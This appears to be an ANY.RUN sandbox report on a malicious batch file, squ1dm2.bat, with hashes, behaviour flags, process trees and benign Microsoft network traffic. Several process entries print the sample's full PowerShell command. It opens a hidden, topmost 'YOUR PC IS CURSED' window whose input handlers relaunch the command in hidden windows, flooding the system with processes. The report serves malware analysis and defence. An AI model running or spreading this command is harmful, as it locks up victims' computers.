File name:

squ1dm2.bat

Full analysis: https://app.any.run/tasks/32a554ec-c88f-4375-a4a1-e02e36792d3c
Verdict: Malicious activity
Analysis date: May 16, 2025, 02:36:35
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with very long lines (1340)
MD5:

02D300CDFC10DED7961BDEEF96F848DD

SHA1:

A0B27EE94C772F1908C64743DCA318179A8E6BD5

SHA256:

3590C79D4502780B743D7EEE5538B76203121372EA8B178763DF899C1B2CD822

SSDEEP:

24:8pDgVq9FKvDxQiHAC/k6m/gGvfDwdeezyDQCAsthAFViAmD:8pDggK7xQiHd/vlGHDGeezrC+V4D

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7360)
      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)
      • powershell.exe (PID: 2268)
      • powershell.exe (PID: 4408)
      • powershell.exe (PID: 5156)
      • powershell.exe (PID: 7432)
      • powershell.exe (PID: 8216)
      • powershell.exe (PID: 6268)
      • powershell.exe (PID: 8396)
      • powershell.exe (PID: 8580)
      • powershell.exe (PID: 8800)
      • powershell.exe (PID: 8976)
      • powershell.exe (PID: 9144)
      • powershell.exe (PID: 8376)
      • powershell.exe (PID: 8156)
      • powershell.exe (PID: 7588)
      • powershell.exe (PID: 7900)
      • powershell.exe (PID: 7188)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 8964)
      • powershell.exe (PID: 8896)
      • powershell.exe (PID: 9340)
      • powershell.exe (PID: 9508)
      • powershell.exe (PID: 9680)
      • powershell.exe (PID: 9856)
      • powershell.exe (PID: 10028)
      • powershell.exe (PID: 10204)
      • powershell.exe (PID: 9592)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7300)
      • powershell.exe (PID: 7360)
      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)
      • powershell.exe (PID: 2268)
      • powershell.exe (PID: 4408)
      • powershell.exe (PID: 6268)
      • powershell.exe (PID: 5156)
      • powershell.exe (PID: 7432)
      • powershell.exe (PID: 8396)
      • powershell.exe (PID: 8580)
      • powershell.exe (PID: 8800)
      • powershell.exe (PID: 8216)
      • powershell.exe (PID: 8976)
      • powershell.exe (PID: 9144)
      • powershell.exe (PID: 8376)
      • powershell.exe (PID: 8156)
      • powershell.exe (PID: 8964)
      • powershell.exe (PID: 7588)
      • powershell.exe (PID: 7900)
      • powershell.exe (PID: 7188)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 8896)
      • powershell.exe (PID: 9340)
      • powershell.exe (PID: 9508)
      • powershell.exe (PID: 9680)
      • powershell.exe (PID: 9856)
      • powershell.exe (PID: 10028)
      • powershell.exe (PID: 10204)

    • Imports DLL using pinvoke

      • powershell.exe (PID: 7360)

    • Starts process via Powershell

      • powershell.exe (PID: 7360)
      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)
      • powershell.exe (PID: 2268)
      • powershell.exe (PID: 4408)
      • powershell.exe (PID: 5156)
      • powershell.exe (PID: 7432)
      • powershell.exe (PID: 8216)
      • powershell.exe (PID: 6268)
      • powershell.exe (PID: 8580)
      • powershell.exe (PID: 8800)
      • powershell.exe (PID: 8976)
      • powershell.exe (PID: 8396)
      • powershell.exe (PID: 9144)
      • powershell.exe (PID: 8376)
      • powershell.exe (PID: 8156)
      • powershell.exe (PID: 8964)
      • powershell.exe (PID: 7588)
      • powershell.exe (PID: 7900)
      • powershell.exe (PID: 7188)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 8896)
      • powershell.exe (PID: 9340)
      • powershell.exe (PID: 9508)
      • powershell.exe (PID: 9680)
      • powershell.exe (PID: 9856)
      • powershell.exe (PID: 10028)
      • powershell.exe (PID: 10204)
      • powershell.exe (PID: 9592)

    • Application launched itself

      • powershell.exe (PID: 7360)
      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)
      • powershell.exe (PID: 2268)
      • powershell.exe (PID: 4408)
      • powershell.exe (PID: 6268)
      • powershell.exe (PID: 5156)
      • powershell.exe (PID: 7432)
      • powershell.exe (PID: 8396)
      • powershell.exe (PID: 8580)
      • powershell.exe (PID: 8800)
      • powershell.exe (PID: 8216)
      • powershell.exe (PID: 9144)
      • powershell.exe (PID: 8376)
      • powershell.exe (PID: 8156)
      • powershell.exe (PID: 8976)
      • powershell.exe (PID: 8964)
      • powershell.exe (PID: 7588)
      • powershell.exe (PID: 7900)
      • powershell.exe (PID: 7188)
      • powershell.exe (PID: 8124)
      • powershell.exe (PID: 8896)
      • powershell.exe (PID: 9340)
      • powershell.exe (PID: 9508)
      • powershell.exe (PID: 9680)
      • powershell.exe (PID: 9856)
      • powershell.exe (PID: 10028)
      • powershell.exe (PID: 10204)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 8008)
      • csc.exe (PID: 7628)
      • csc.exe (PID: 2564)
      • csc.exe (PID: 4244)
      • csc.exe (PID: 7292)
      • csc.exe (PID: 7664)
      • csc.exe (PID: 7840)
      • csc.exe (PID: 5228)
      • csc.exe (PID: 6228)
      • csc.exe (PID: 2088)
      • csc.exe (PID: 7880)
      • csc.exe (PID: 6136)
      • csc.exe (PID: 4620)
      • csc.exe (PID: 7324)
      • csc.exe (PID: 2316)
      • csc.exe (PID: 5048)
      • csc.exe (PID: 8356)
      • csc.exe (PID: 4844)
      • csc.exe (PID: 8540)
      • csc.exe (PID: 8728)
      • csc.exe (PID: 8940)
      • csc.exe (PID: 9108)
      • csc.exe (PID: 6208)
      • csc.exe (PID: 7232)
      • csc.exe (PID: 8988)
      • csc.exe (PID: 3888)
      • csc.exe (PID: 1004)
      • csc.exe (PID: 8740)
      • csc.exe (PID: 6068)
      • csc.exe (PID: 7664)
      • csc.exe (PID: 9308)
      • csc.exe (PID: 9476)
      • csc.exe (PID: 9644)
      • csc.exe (PID: 9824)
      • csc.exe (PID: 9996)
      • csc.exe (PID: 10168)
      • csc.exe (PID: 9520)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 7360)
      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 7628)

  • INFO

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 7360)
      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)

    • Checks supported languages

      • csc.exe (PID: 8008)
      • cvtres.exe (PID: 7648)
      • csc.exe (PID: 7628)
      • csc.exe (PID: 2564)
      • csc.exe (PID: 4244)
      • csc.exe (PID: 7292)
      • csc.exe (PID: 7664)
      • csc.exe (PID: 7840)
      • csc.exe (PID: 5228)
      • csc.exe (PID: 6228)
      • csc.exe (PID: 2088)
      • csc.exe (PID: 7880)
      • csc.exe (PID: 6136)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 8008)
      • csc.exe (PID: 7628)
      • csc.exe (PID: 2564)
      • csc.exe (PID: 4244)
      • csc.exe (PID: 7292)
      • csc.exe (PID: 7664)
      • csc.exe (PID: 7840)
      • csc.exe (PID: 5228)
      • csc.exe (PID: 6228)
      • csc.exe (PID: 2088)
      • csc.exe (PID: 7880)
      • csc.exe (PID: 6136)

    • Create files in a temporary directory

      • csc.exe (PID: 7628)
      • cvtres.exe (PID: 7648)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7732)
      • powershell.exe (PID: 8040)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 1348)
      • powershell.exe (PID: 6644)
      • powershell.exe (PID: 7672)
      • powershell.exe (PID: 7896)
      • powershell.exe (PID: 4980)
      • powershell.exe (PID: 2236)
      • powershell.exe (PID: 2904)
      • powershell.exe (PID: 7248)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
246
Monitored processes
118
Malicious processes
37
Suspicious processes
1

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe no specs sppextcomobj.exe no specs slui.exe csc.exe cvtres.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs slui.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs csc.exe no specs powershell.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
900\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1004"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ihcdwa2m.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
1
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1056\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1240\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1348"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition ' [DllImport(user32.dll)] public static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport(user32.dll)] public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);';Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$f=New-Object Windows.Forms.Form;$f.Text='';$f.TopMost=$true;$f.ShowInTaskbar=$false;$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.KeyPreview=$true;$f.Size=New-Object Drawing.Size(1200,800);$f.Location=New-Object Drawing.Point((Get-Random -Minimum 0 -Maximum 300),(Get-Random -Minimum 0 -Maximum 300));$f.BackColor='Black';$l=New-Object Windows.Forms.Label;$l.Text='YOUR PC IS CURSED. SQU1D HAS COME FOR YOU.';$l.ForeColor='Red';$l.Font=New-Object Drawing.Font('Consolas',36,[Drawing.FontStyle]::Bold);$l.Dock='Fill';$l.TextAlign='MiddleCenter';$f.Controls.Add($l);$hwnd=$f.Handle;$exStyle=[Win32.NativeMethods]::GetWindowLong($hwnd,-20);[Win32.NativeMethods]::SetWindowLong($hwnd,-20,$exStyle -bor 0x80 -bor 0x08000000);$handler={Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command', $MyInvocation.Line};$f.Add_KeyDown($handler);$f.Add_MouseMove($handler);$f.Add_MouseClick($handler);$f.Add_Load($handler);$f.ShowDialog() C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
2088"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\hh4rfqeu.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
1
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
2088\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2236"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition ' [DllImport(user32.dll)] public static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport(user32.dll)] public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);';Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$f=New-Object Windows.Forms.Form;$f.Text='';$f.TopMost=$true;$f.ShowInTaskbar=$false;$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.KeyPreview=$true;$f.Size=New-Object Drawing.Size(1200,800);$f.Location=New-Object Drawing.Point((Get-Random -Minimum 0 -Maximum 300),(Get-Random -Minimum 0 -Maximum 300));$f.BackColor='Black';$l=New-Object Windows.Forms.Label;$l.Text='YOUR PC IS CURSED. SQU1D HAS COME FOR YOU.';$l.ForeColor='Red';$l.Font=New-Object Drawing.Font('Consolas',36,[Drawing.FontStyle]::Bold);$l.Dock='Fill';$l.TextAlign='MiddleCenter';$f.Controls.Add($l);$hwnd=$f.Handle;$exStyle=[Win32.NativeMethods]::GetWindowLong($hwnd,-20);[Win32.NativeMethods]::SetWindowLong($hwnd,-20,$exStyle -bor 0x80 -bor 0x08000000);$handler={Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command', $MyInvocation.Line};$f.Add_KeyDown($handler);$f.Add_MouseMove($handler);$f.Add_MouseClick($handler);$f.Add_Load($handler);$f.ShowDialog() C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
2268"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition ' [DllImport(user32.dll)] public static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport(user32.dll)] public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);';Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$f=New-Object Windows.Forms.Form;$f.Text='';$f.TopMost=$true;$f.ShowInTaskbar=$false;$f.FormBorderStyle='None';$f.StartPosition='Manual';$f.KeyPreview=$true;$f.Size=New-Object Drawing.Size(1200,800);$f.Location=New-Object Drawing.Point((Get-Random -Minimum 0 -Maximum 300),(Get-Random -Minimum 0 -Maximum 300));$f.BackColor='Black';$l=New-Object Windows.Forms.Label;$l.Text='YOUR PC IS CURSED. SQU1D HAS COME FOR YOU.';$l.ForeColor='Red';$l.Font=New-Object Drawing.Font('Consolas',36,[Drawing.FontStyle]::Bold);$l.Dock='Fill';$l.TextAlign='MiddleCenter';$f.Controls.Add($l);$hwnd=$f.Handle;$exStyle=[Win32.NativeMethods]::GetWindowLong($hwnd,-20);[Win32.NativeMethods]::SetWindowLong($hwnd,-20,$exStyle -bor 0x80 -bor 0x08000000);$handler={Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command', $MyInvocation.Line};$f.Add_KeyDown($handler);$f.Add_MouseMove($handler);$f.Add_MouseClick($handler);$f.Add_Load($handler);$f.ShowDialog() C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
Total events
209 597
Read events
209 597
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
187
Unknown types
0

Dropped files

PID
Process
Filename
Type
7360powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mpymaltm.gyo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7360powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_alc4dyke.oas.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7360powershell.exeC:\Users\admin\AppData\Local\Temp\w3uge02t.cmdlinetext
MD5:6FEB2C5EF040AE0E71BFC5E86066EFD2
SHA256:91AC21CE47C13EAED0E30018919EEB1EAF9CC55C9F23019DE8F8903833E1D098
7732powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ktvc4gdg.rqm.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7360powershell.exeC:\Users\admin\AppData\Local\Temp\w3uge02t.0.cstext
MD5:913A1340026383C1DB517F224DE53001
SHA256:9F7B2FE697B2D70BA11DBB2DE211E54CA9174A7A552801CDB9C1B742CCCFAC3E
7628csc.exeC:\Users\admin\AppData\Local\Temp\CSCA96F14D88D3455F9AF059D9A0767943.TMPbinary
MD5:0F822F29CB90D54FED7E79DA9EEC9F19
SHA256:63B4103AC359FD26B2B805BD02F222D14459665509EB4A9D957F18F36861D359
7648cvtres.exeC:\Users\admin\AppData\Local\Temp\RESC4C9.tmpbinary
MD5:C8D70EC49EBEFE4E34DF1A75DB67E385
SHA256:B84C3B8052C71CE8AC334C68E725F655758D60DEFD80C62F2EBB5956F30B6864
7628csc.exeC:\Users\admin\AppData\Local\Temp\w3uge02t.dllexecutable
MD5:BC60AE4709B118074696111B4878C0A7
SHA256:D379BC4A670F8D3AE8107E7564F822DD5FD2356B84031A82C58C993659417AA5
8040powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cnkik4rr.4gb.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7628csc.exeC:\Users\admin\AppData\Local\Temp\w3uge02t.outtext
MD5:4803B9A9F322C809878BB4718AC02F54
SHA256:0EE1EFA8AAC599B679E1CE60307F841D0E719E78C266AB828D1A9D5390E98C45
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
24
DNS requests
16
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6512
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6512
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
23.53.40.176:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2104
svchost.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
23.53.40.176:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5496
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
6544
svchost.exe
40.126.32.133:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.53.40.176
  • 23.53.40.178
whitelisted
google.com
  • 142.250.186.46
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
login.live.com
  • 40.126.32.133
  • 20.190.160.131
  • 20.190.160.2
  • 40.126.32.76
  • 40.126.32.138
  • 40.126.32.68
  • 20.190.160.65
  • 40.126.32.140
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
whitelisted
slscr.update.microsoft.com
  • 20.12.23.50
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 40.69.42.241
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
squ1dm2.bat